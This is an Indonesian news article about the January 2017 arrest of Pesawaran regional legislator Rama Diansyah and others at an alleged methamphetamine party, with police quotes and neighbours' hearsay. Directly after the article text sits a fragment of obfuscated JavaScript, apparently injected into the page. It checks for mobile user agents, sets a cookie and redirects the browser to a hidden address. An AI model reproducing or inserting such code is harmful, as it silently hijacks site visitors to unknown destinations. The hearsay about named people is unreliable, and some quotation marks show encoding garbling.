Rama Diansyah beserta istri dan ketiga anaknya.

LAMPUNGNEWS.CO.ID- Wakil Ketua III, DPRD Kabupaten Pesawaran, Lampung yang berasal dari Partai Gerindra, Rama Diansyah, Selasa (3/1/2017) sore ditangkap jajaran Direktorat Reserse Narkoba Polda Lampung.

Rama Diansyah diamankan di rumahnya lantaran diduga sedang pesta narkoba jenis sabu-sabu.

Dikonfirmasi, Direktur Narkoba Polda Lampung, Kombes Pol Abrar Tuntalanai membenarkan kejadian adanya penangkapan oknum pimpinan DPRD Peswaran tersebut. a�?Ya betul wakil ketua DPRD Pesawaran yang kita tangkap, dirumahnya, di dekat kantor Pemkab Pesawaran,a�? kata Abrar Tuntalanai, saat dihubungi via phonselnya, Selasa (3/1) malam.

Dia menjelaskan, penangkapan itu dilakukan sebelum masuk magrib. a�?Dia ditangkap sebelum magrib saat pesta narkoba bersama rekannya,a�? kata dia.

Barang bukti yang diamankan, jelas Abrar yakni sisa klip narkoba jenis sabu dan alat hisab (bong). a�?Penangkapan tersebut berdasarkan informasi dari masyarakat setempat, langsung ditindaklanjuti, saat ini sedang dalam pemeriksaan di kantor,a�? kata Abrar.

Rama Diansyah sendiri dikenal sebagai politisi muda yang jadi anggota DPRD sejak 2009 dari PKPB, pada Pileg 2014 lalu, Rama maju melalui Partai Gerindra karena PKPB tidak lolos sebagai parpol peserta pemilu.

Keseharian ayah dari tiga orang anak itu, dikenal alim. Istrinya, Devi Rama juga sangat dikenal warga sekitar. Keluarga itu, merupakan keluarga yang sangat dihormati di lingkungannya. Juga sering berpakaian lazimnya santri.

Namun demikian, beredar kabar seiring sukses karier Rama di jalur politik, sudah disebut-sebut sering menjadikan agama dan penampilannya sebagai tameng. Menutupi aktivitasnya yang sering mengonsumsi narkoba, berjudi dan pesta minuman keras.

“Ya, sejak jadi dewan, Rama memang sering mabok, tapi saya tidak tahu kalau pakai narkoba ya?” kata Ardi, tetangga Rama yang diwawancarai Lampungnews.co.id.

Bersama Rama, ikut ditangkap juga anggota DPRD Pesawaran yang berasal dari Partai Amanat Nasional, Yudiyanto. Ikut diamankan juga, Hendra Irawan, Harpandi, Hamdani, Darma Setiawan, Hayyun dan Alwi. (bun) -|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

NO COMMENTS

LEAVE A REPLY